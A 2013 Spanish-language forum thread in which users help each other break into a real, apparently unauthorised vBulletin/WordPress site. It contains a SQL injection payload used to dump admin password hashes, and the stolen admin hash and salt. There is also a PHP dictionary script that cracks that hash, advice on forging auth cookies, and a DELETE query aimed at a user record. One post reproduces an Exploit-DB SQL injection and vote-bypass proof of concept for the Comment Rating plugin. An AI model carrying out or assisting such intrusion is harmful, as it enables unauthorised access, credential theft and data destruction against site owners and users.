Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: juansemaster en 28 Marzo 2013, 18:27 pm



Título: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 28 Marzo 2013, 18:27 pm
Accedi a los hashes de un foro en vbulletin mediante una inyección en php

paso los hash  

Usuario:hash:ide

cai_baguette:e53a3baca64869cb558bc6f6f5fab4f5:1


El problema que tengo ahora es no puedo descifrar los hash presumiblemente en MD5.

Tambien intente en modficar cookies de acceso sin resultados positivos.

El desafio es encontrar una forma de descifrar los hash o utilizar estos para acceder a las cuentas de los administradores.

Saludos
Juansemaster


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: WHK en 28 Marzo 2013, 22:05 pm
Mira, este es el algoritmo:
Código
  1. <?php md5(md5($pass).$salt); ?>

Es practicamente imposible descifrar porque es de una sola via + el salt pero si puedes crackearlas siempre y cuando tengas el salt de cada cuenta.

Tambien puedes probar inyectando sesiones en tu explorador utilizando esos hashses.

Saludos.


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 28 Marzo 2013, 23:21 pm
Como se obtiene el salt con que datos?


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 29 Marzo 2013, 06:39 am
encontre esto en el archivo passwordcheck.php

WHERE password = MD5(CONCAT(MD5(username),salt))

el valor salt tiene el siguiente formato

n]t!Cir&n<z0FC7FDdPNMK@h6[hwqy

nose en que esta cifrado


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 29 Marzo 2013, 07:11 am

Código
  1. function fetch_user_salt($length = 30)
  2. {
  3. $salt = '';
  4. for ($i = 0; $i < $length; $i++)
  5. {
  6. $salt .= chr(vbrand(33, 126));
  7. }
  8. return $salt;
  9. }
  10.  

parece que el salt se obtiene al azar y es pasado a ascii  :P


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 29 Marzo 2013, 07:17 am
 ;D


logre obtener el salt del administrador ahora tengo mas datos


Admin id1
hash: e53a3baca64869cb558bc6f6f5fab4f5
salt: aY-t'2c;`&lt;s?GYYqsDnUP=(AQ(mH'8

voy a intentar crackearlo


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: WHK en 2 Abril 2013, 14:24 pm
jajaja que largo el salt xD pero ya con ese dato podrás facilmente crackear la contraseña porque recuerda que md5 es un cifrado de una via, o sea que no se puee descifrar pero si comparar:

Código
  1. <?php
  2. /*
  3. Admin id1
  4. hash: e53a3baca64869cb558bc6f6f5fab4f5
  5. salt: aY-t'2c;`&s?GYYqsDnUP=(AQ(mH'8
  6. */
  7.  
  8. /* Config */
  9. $hash = 'e53a3baca64869cb558bc6f6f5fab4f5';
  10. $salt = 'aY-t\'2c;`&s?GYYqsDnUP=(AQ(mH\'8';
  11. $listado = file('diccionario.txt');
  12. $pass = false;
  13.  
  14. /* Busca */
  15. foreach($diccionario as $palabra){
  16. if($palabra = trim((string)$palabra)){
  17. if(md5(md5($palabra).$salt) === (string)$hash){
  18. $pass = $palabra;
  19. break;
  20. }
  21. }
  22. }
  23.  
  24. if($pass)
  25. echo 'La clave es: '.htmlspecialchars($pass, ENT_QUOTES);
  26. else
  27. echo 'Imposible obtener la clave :(';
  28. ?>

Ahora necesitas un buen diccionario de palabras :D y a crackear se ha dicho!

Nota: Cuidado donde aparece "&lt;" porque puede ser que realmente sea "&", lo que sucede es que el sistema de coloreado de código transforma algunas cosas de forma automática  :¬¬

¿Porque no usas ese hash y ese sat para generar una cookie de autentificación mejor? talves sea mas facil que crackear la contraseña no crees?


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 3 Abril 2013, 00:51 am
estoy atascado

Probe con la cookie con un complemento de firefox para modificarlas pero aparentemente vbulletin crea otro dato en md5 para las cookies asi que es imposble.

Probe con muchos diccionarios sin exito  en la pc tambien mediante php :-( sin resultados, el script funciona con la salt hice la prueba con mi propia cuenta y funciono pero por ahora no logro crackear la de los administradores.

La salt tiene que contener 30 caracteres el problema con &lt; hay que cambiarla por el signo menor.

&lt;= <

 :P donde puedo conseguir diccionarios interesantes si estan relacionados con el futbol mejor.


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: juansemaster en 10 Abril 2013, 00:01 am
No hay suerte, te dejo la inyeccion SQL para ver si se puede hacer algo mas con ella.

Código
  1.  
  2. &searchfromtype=vBForum:SocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) UNION SELECT password FROM USER
  3.  
  4. WHERE userid=1 AND ROW(1,1)>(SELECT COUNT(*),concat( (SELECT USER.password) ,0x3a,FLOOR(rand(0)*2)) x FROM (SELECT 1
  5.  
  6. UNION SELECT 2 UNION SELECT 3)a GROUP BY x LIMIT 1) -- /*);
  7.  
  8.  

Eso se agrega en el formulario de busqueda.


Estaria bueno enviar una orden para borrar cierto registro tipo:

Código
  1. mysql_query(DELETE FROM USER WHERE userid=408);


Probe sin resultados.


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: WHK en 17 Mayo 2013, 18:08 pm
Mira, de la misma web estuve intentando buscar alguna inyección sql que no te pida registro de usuario como la que encontraste, encontré esta:

wp-content/plugins/comment-rating/ck-processkarma.php

Si ingresas a wp-register verás el registro de wordpress (es un 3.3.2) y al ingresar verás el panel de usuario de wordpress, si le das un vistazo al código fuente podrás ver la mayoría de sus plugins:

Citar
....../wp-admin/load-styles.php?c=1&amp;dir=ltr&amp;load=admin-bar,wp-admin,wp-pointer&amp;ver=1747f87854de3d4df3fdb74e9ef12757
....../wp-content/plugins/w3-total-cache/pub/css/widget.css?ver=3.3.2
....../wp-includes/js/thickbox/thickbox.css?ver=20111117
....../wp-admin/css/colors-fresh.css?ver=20111206
....../wp-admin/css/ie.css?ver=20111130
....../wp-content/plugins/youtube-embed/css/aye-admin.css?ver=3.3.2
....../wp-content/plugins/youtube-embed/css/aye-dynamic.css?ver=3.3.2
....../wp-content/plugins/youtube-embed/css/aye-tinymce-button.css?ver=3.3.2
....../wp-admin/load-scripts.php?c=1&amp;load=jquery,utils&amp;ver=edec3fab0cb6297ea474806db1895fa7
....../wp-content/plugins/comment-rating/ck-karma.js?ver=3.3.2
....../wp-content/plugins/w3-total-cache/pub/js/metadata.js?ver=3.3.2
....../wp-content/plugins/w3-total-cache/pub/js/widget.js?ver=3.3.2
....../wp-content/plugins/microkids-related-posts/microkids-related-posts.js

Los que mas se destacan por sus vulnerabilidades son w3-total-cache y comment-rating pero el de total caché no funciona porque no tiene puesta la opción de visualizar directorios (o si no ya hubieramos tenido la db), la de comment-rating si es posible explotar:
http://webcache.googleusercontent.com/search?q=cache:Y5z03qapzdQJ:www.exploit-db.com/exploits/24552/+&cd=1&hl=es&ct=clnk&gl=cl&client=firefox-a

Código
  1. # Exploit Title: Wordpress plugin: Comment Rating SQL injection
  2. # Google Dork:
  3. # Date: 21/02/2013
  4. # Exploit Author: ebanyu
  5. # Url Author: www.ebanyu.com.ar
  6. # Vendor Homepage: wealthynetizen.com
  7. # Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
  8. # Version: 2.9.32
  9. # Tested on: Fedora 18 + mysql 5.5 + php 5.4
  10.  
  11.  
  12.  
  13. Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
  14.  
  15. First take the IP from HTTP_X_FORWARDED_FOR header.
  16. -----------------------------------------------------------------------
  17. 48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
  18. 49         if(strstr($row['ck_ips'], $ip)) {
  19. 50            // die('error|You have already voted on this item!');
  20. 51            // Just don't count duplicated votes
  21. 52            $duplicated = 1;
  22. 53            $ck_ips = $row['ck_ips'];
  23. 54         }
  24.  
  25. Later made a UPDATE without filter the input.
  26. ------------------------------------------------------------------------
  27. 77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
  28.  
  29.  
  30. So let's take a look in the DB
  31.  
  32. mysql> select * from wp_comment_rating;
  33. +---------------+----------------+--------------+----------------+
  34. | ck_comment_id | ck_ips         | ck_rating_up | ck_rating_down |
  35. +---------------+----------------+--------------+----------------+
  36. |             2 | ,20.209.10.130 |            1 |              0 |
  37. |             3 |                |            0 |              0 |
  38. +---------------+----------------+--------------+----------------+
  39. 2 rows in set (0.00 sec)
  40.  
  41.  
  42. Now made a HTTP request with a injection in the HTTP_X_FORWARDED_FOR header:
  43.  
  44. GET /wordpress/wp-content/plugins/comment-rating/ck-processkarma.php?id=2&action=add&path=a&imgIndex=1_14_ HTTP/1.1
  45. Host: 192.168.1.10
  46. Accept-Encoding: gzip, deflate
  47. X-Forwarded-For: ', ck_ips=(select user()) WHERE ck_comment_id=2#
  48. Connection: keep-alive
  49.  
  50.  
  51. And the result is:
  52.  
  53. mysql> select * from wp_comment_rating;
  54. +---------------+---------------------+--------------+----------------+
  55. | ck_comment_id | ck_ips              | ck_rating_up | ck_rating_down |
  56. +---------------+---------------------+--------------+----------------+
  57. |             2 | wordpress@localhost |            2 |              0 |
  58. |             3 |                     |            0 |              0 |
  59. +---------------+---------------------+--------------+----------------+
  60. 2 rows in set (0.00 sec)
  61.  
  62. Cheers
  63.  
  64. =======================================================================================
  65.  
  66.  
  67. # Exploit Title: Wordpress plugin: Comment Rating Bypass vote limitation
  68. # Date: 21/02/2013
  69. # Exploit Author: ebanyu
  70. # Url Author: www.ebanyu.com.ar
  71. # Vendor Homepage: wealthynetizen.com
  72. # Software Link: http://wealthynetizen.com/wordpress-plugin-comment-rating/
  73. # Version: 2.9.32
  74. # Tested on: Fedora 18 + mysql 5.5 + php 5.4
  75.  
  76.  
  77. Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
  78.  
  79. First take the IP from HTTP_X_FORWARDED_FOR header.
  80. -----------------------------------------------------------------------
  81. 48         $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
  82. 49         if(strstr($row['ck_ips'], $ip)) {
  83. 50            // die('error|You have already voted on this item!');
  84. 51            // Just don't count duplicated votes
  85. 52            $duplicated = 1;
  86. 53            $ck_ips = $row['ck_ips'];
  87. 54         }
  88.  
  89. Later made a UPDATE without filter the input.
  90. ------------------------------------------------------------------------
  91. 77         $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips  . "' WHERE ck_comment_id = $k_id";
  92.  
  93.  
  94. Now for bypass the vote limitation, we just have to add the HTTP_X_FORWARDED_FOR header and change it once per request.
  95.  
  96. A simple POC is made in php.
  97.  
  98. <?PHP
  99.  
  100. define('HOST','http://localhost/wordpress/');
  101. define('IDCOMMENT',2);
  102. $url=parse_url(HOST);
  103. define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
  104. for($i=0;$i<1;$i++) lvlup();
  105.  
  106. function lvlup(){
  107. global $url;
  108. $header = "GET ".URL." HTTP/1.1 \r\n";
  109. $header.= "Host: ".$url['host']."\r\n";
  110. $header.= "Accept-Encoding: gzip, deflate \r\n";
  111. $header.= "X-Forwarded-For: ".long2ip(rand(0, "4294967295"))."\r\n";
  112. $header.= "Connection: close \r\n\r\n";
  113. $socket  = socket_create(AF_INET, SOCK_STREAM,  SOL_TCP);
  114. socket_connect($socket,$url['host'], 80);
  115. socket_write($socket, $header);
  116. socket_close($socket);
  117. }
  118.  
  119. ?>

El problema es que es una inyección muy muy dificil de explotar como para poder sacar probechos de ella y ganar algunos privilegios ya que está escrita sobre un update y no se puede concatenar una segunda instrucción para hacer otro update o un insert y poder hacer tu usuario un administrador, lo unico que se puede es crear un select entre parentesis pero los resultados se van directamente a una columna de la base de datos que nunca ves, asi que no sirve de mucho.

Dale un vistazo a las vulnerabilidades de Wordpress de las versiones entre la que está instalada y la última estable.

Creo que había un exploit para aprobecharse del pingback o del xmlrpc, no lo recuerdo bien.

Saludos.


Título: Re: descifrar Hash vbulletin 4.1.3
Publicado por: hackazador en 21 Septiembre 2013, 04:37 am



¿Qué otras herramientas hay?



(http://www.imagelink.info/files/img/user_uploads/displayimage.php?id=oqj2qyhatsg3455831.gif)